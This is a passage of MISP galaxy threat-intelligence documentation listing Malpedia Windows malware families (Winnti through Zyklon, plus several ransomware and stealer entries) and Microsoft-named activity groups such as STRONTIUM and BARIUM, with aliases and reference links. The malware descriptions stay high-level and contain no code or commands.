The tag is: misp-galaxy:malpedia="Winnti (Windows)"

Winnti (Windows) is also known as:

Table 2015. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti
https://github.com/TKCERT/winnti-suricata-lua
https://www.protectwise.com/blog/winnti-evolution-going-open-source.html
https://github.com/TKCERT/winnti-nmap-script
http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/
https://github.com/TKCERT/winnti-detector
http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/
https://securelist.com/games-are-over/70991/
https://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf

WinPot

WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.

The tag is: misp-galaxy:malpedia="WinPot"

WinPot is also known as:

ATMPot

Table 2016. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot
https://www.association-secure-transactions.eu/east-publishes-fraud-update-2-2018/
https://securelist.com/atm-robber-winpot/89611/

Winsloader

The tag is: misp-galaxy:malpedia="Winsloader"

Winsloader is also known as:

Table 2017. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Wipbot

The tag is: misp-galaxy:malpedia="Wipbot"

Wipbot is also known as:

Table 2018. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf

WMI Ghost

The tag is: misp-galaxy:malpedia="WMI Ghost"

WMI Ghost is also known as:

Syndicasec
Wimmie

Table 2019. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost
https://secrary.com/ReversingMalware/WMIGhost/
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

WndTest

The tag is: misp-galaxy:malpedia="WndTest"

WndTest is also known as:

Table 2020. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Wonknu

The tag is: misp-galaxy:malpedia="Wonknu"

Wonknu is also known as:

Table 2021. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu
https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/

woody

The tag is: misp-galaxy:malpedia="woody"

woody is also known as:

Table 2022. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woody
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-advanced-persistent-threat-malware-33814

Woolger

The tag is: misp-galaxy:malpedia="Woolger"

Woolger is also known as:

WoolenLogger

Table 2023. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

WSCSPL

The tag is: misp-galaxy:malpedia="WSCSPL"

WSCSPL is also known as:

Table 2024. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

X-Agent (Windows)

The tag is: misp-galaxy:malpedia="X-Agent (Windows)"

X-Agent (Windows) is also known as:

chopstick
splm

Table 2025. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf

XBot POS

The tag is: misp-galaxy:malpedia="XBot POS"

XBot POS is also known as:

Table 2026. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html

XBTL

The tag is: misp-galaxy:malpedia="XBTL"

XBTL is also known as:

Table 2027. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl

Xpan

The tag is: misp-galaxy:malpedia="Xpan"

Xpan is also known as:

Table 2028. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan
https://securelist.com/blog/research/78110/xpan-i-am-your-father/
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

XPCTRA

Incorporates code of Quasar RAT.

The tag is: misp-galaxy:malpedia="XPCTRA"

XPCTRA is also known as:

Expectra

Table 2029. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra
https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/
https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis

XP PrivEsc (CVE-2014-4076)

The tag is: misp-galaxy:malpedia="XP PrivEsc (CVE-2014-4076)"

XP PrivEsc (CVE-2014-4076) is also known as:

Table 2030. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xp_privesc
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf

xsPlus

The tag is: misp-galaxy:malpedia="xsPlus"

xsPlus is also known as:

nokian

Table 2031. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

X-Tunnel

X-Tunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.

The tag is: misp-galaxy:malpedia="X-Tunnel"

X-Tunnel is also known as:

xaps

Table 2032. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/
https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf
https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf

X-Tunnel (.NET)

This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.

The tag is: misp-galaxy:malpedia="X-Tunnel (.NET)"

X-Tunnel (.NET) is also known as:

Table 2033. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28

Xwo

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

The tag is: misp-galaxy:malpedia="Xwo"

Xwo is also known as:

Table 2034. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xwo
https://www.alienvault.com/blogs/labs-research/xwo-a-python-based-bot-scanner

xxmm

The tag is: misp-galaxy:malpedia="xxmm"

xxmm is also known as:

ShadowWalker

Table 2035. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_8_nakatsuru_en.pdf
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Yahoyah

The tag is: misp-galaxy:malpedia="Yahoyah"

Yahoyah is also known as:

KeyBoy

Table 2036. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

yayih

The tag is: misp-galaxy:malpedia="yayih"

yayih is also known as:

aumlib
bbsinfo

Table 2037. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

The tag is: misp-galaxy:malpedia="YoungLotus"

YoungLotus is also known as:

DarkShare

Table 2038. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus
https://www.youtube.com/watch?v=AUGxYhE_CUY

yty

The tag is: misp-galaxy:malpedia="yty"

yty is also known as:

Table 2039. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yty
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

Zebrocy

The tag is: misp-galaxy:malpedia="Zebrocy"

Zebrocy is also known as:

Zekapab

Table 2040. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy
https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/
https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/
https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html
https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html
https://securelist.com/a-zebrocy-go-downloader/89419/

Zebrocy (AutoIT)

The tag is: misp-galaxy:malpedia="Zebrocy (AutoIT)"

Zebrocy (AutoIT) is also known as:

Table 2041. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/

Zedhou

The tag is: misp-galaxy:malpedia="Zedhou"

Zedhou is also known as:

Table 2042. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou

ZeroAccess

The tag is: misp-galaxy:malpedia="ZeroAccess"

ZeroAccess is also known as:

Max++
Sirefef
Smiscer

Table 2043. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess
http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html
http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/
http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/
https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/
http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html
http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/
http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/
https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/

ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).

The tag is: misp-galaxy:malpedia="ZeroEvil"

ZeroEvil is also known as:

Table 2044. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

ZeroT

The tag is: misp-galaxy:malpedia="ZeroT"

ZeroT is also known as:

Table 2045. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

Zeus

The tag is: misp-galaxy:malpedia="Zeus"

Zeus is also known as:

Zbot

Table 2046. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus
https://zeustracker.abuse.ch/monitor.php
http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html
http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html
http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html
http://eternal-todo.com/blog/new-zeus-binary
http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html
https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite
https://nakedsecurity.sophos.com/2010/07/24/sample-run/
https://www.mnin.org/write/ZeusMalware.pdf
https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20
http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html
http://eternal-todo.com/blog/zeus-spreading-facebook
http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf
http://eternal-todo.com/blog/detecting-zeus
https://www.secureworks.com/research/zeus?threat=zeus
http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html

Zeus MailSniffer

The tag is: misp-galaxy:malpedia="Zeus MailSniffer"

Zeus MailSniffer is also known as:

Table 2047. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer

Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: misp-galaxy:malpedia="Zeus OpenSSL"

Zeus OpenSSL is also known as:

XSphinx

Table 2048. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl
https://asert.arbornetworks.com/great-dga-sphinx/
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/

Zeus Sphinx

This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

The tag is: misp-galaxy:malpedia="Zeus Sphinx"

Zeus Sphinx is also known as:

Table 2049. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx
https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html
https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/

Zezin

The tag is: misp-galaxy:malpedia="Zezin"

Zezin is also known as:

Table 2050. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin
https://twitter.com/siri_urz/status/923479126656323584
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4877

ZhCat

The tag is: misp-galaxy:malpedia="ZhCat"

ZhCat is also known as:

Table 2051. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

ZhMimikatz

The tag is: misp-galaxy:malpedia="ZhMimikatz"

ZhMimikatz is also known as:

Table 2052. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Zloader

This family describes the (initially small) loader, which downloads Zeus OpenSSL.

In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

The tag is: misp-galaxy:malpedia="Zloader"

Zloader is also known as:

DELoader
Terdot

Table 2053. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html
https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/
https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/
https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware
https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/

ZoxPNG

The tag is: misp-galaxy:malpedia="ZoxPNG"

ZoxPNG is also known as:

gresim

Table 2054. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zoxpng
http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf

ZXShell

The tag is: misp-galaxy:malpedia="ZXShell"

ZXShell is also known as:

Sensocode

Table 2055. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell
https://github.com/smb01/zxshell
https://blogs.cisco.com/security/talos/opening-zxshell
https://blogs.rsa.com/cat-phishing/

Zyklon

The tag is: misp-galaxy:malpedia="Zyklon"

Zyklon is also known as:

Table 2056. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon
https://www.fireeye.com/blog/threat-research/2018/01/microsoft-office-vulnerabilities-used-to-distribute-zyklon-malware.html
https://blog.talosintelligence.com/2017/05/modified-zyklon-and-plugins-from-india.html
https://asert.arbornetworks.com/wp-content/uploads/2017/05/zyklon_season.pdf

MedusaLocker

A Windows ransomware that will run certain tasks to prepare the target system for the encryption of files. MedusaLocker avoids executable files, probably to avoid rendering the targeted system unusable for paying the ransom. It uses a combination of AES and RSA-2048, and reportedly appends extensions such as .encrypted, .bomber, .boroff, .breakingbad, .locker16, .newlock, .nlocker, and .skynet.

The tag is: misp-galaxy:malpedia="MedusaLocker"

MedusaLocker is also known as:

Table 2057. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker

Raccoon

Raccoon is a stealer and collects "passwords, cookies and autofill from all popular browsers (including FireFox x64), CC data, system information, almost all existing desktop wallets of cryptocurrencies".

The tag is: misp-galaxy:malpedia="Raccoon"

Raccoon is also known as:

Racoon

Table 2058. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon
https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html
https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf
https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block

Ragnarok

According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system’s Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.

The tag is: misp-galaxy:malpedia="Ragnarok"

Ragnarok is also known as:

Table 2059. Table References
Links
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/
https://news.sophos.com/en-us/2020/05/21/asnarok2/
https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw

Conti

Conti is a new family of ransomware observed in the wild by the Carbon Black Threat Analysis Unit (TAU). Unlike most ransomware, Conti contains unique features that separate it in terms of performance and focus on network-based targets.

The tag is: misp-galaxy:malpedia="Conti"

Conti is also known as:

Table 2060. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.conti
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/

Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Various

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: misp-galaxy:microsoft-activity-group="PROMETHIUM"

PROMETHIUM has relationships with:

similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 2061. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: misp-galaxy:microsoft-activity-group="NEODYMIUM"

NEODYMIUM has relationships with:

similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 2062. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: misp-galaxy:microsoft-activity-group="TERBIUM"

TERBIUM has relationships with:

similar: misp-galaxy:threat-actor="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 2063. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims’ computer.

The tag is: misp-galaxy:microsoft-activity-group="STRONTIUM"

STRONTIUM is also known as:

APT 28
APT28
Pawn Storm
Fancy Bear
Sednit
TsarTeam
TG-4127
Group-4127
Sofacy
Grey-Cloud

STRONTIUM has relationships with:

similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"

Table 2064. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_A_Profile_Of_A_Persistent_Adversary_English.pdf
https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium/
https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/

DUBNIUM

DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.

The tag is: misp-galaxy:microsoft-activity-group="DUBNIUM"

DUBNIUM is also known as:

darkhotel

DUBNIUM has relationships with:

similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"

Table 2065. Table References
Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2
https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
https://blogs.technet.microsoft.com/mmpc/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: misp-galaxy:microsoft-activity-group="PLATINUM"

PLATINUM has relationships with:

similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 2066. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: misp-galaxy:microsoft-activity-group="BARIUM"

Table 2067. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

LEAD

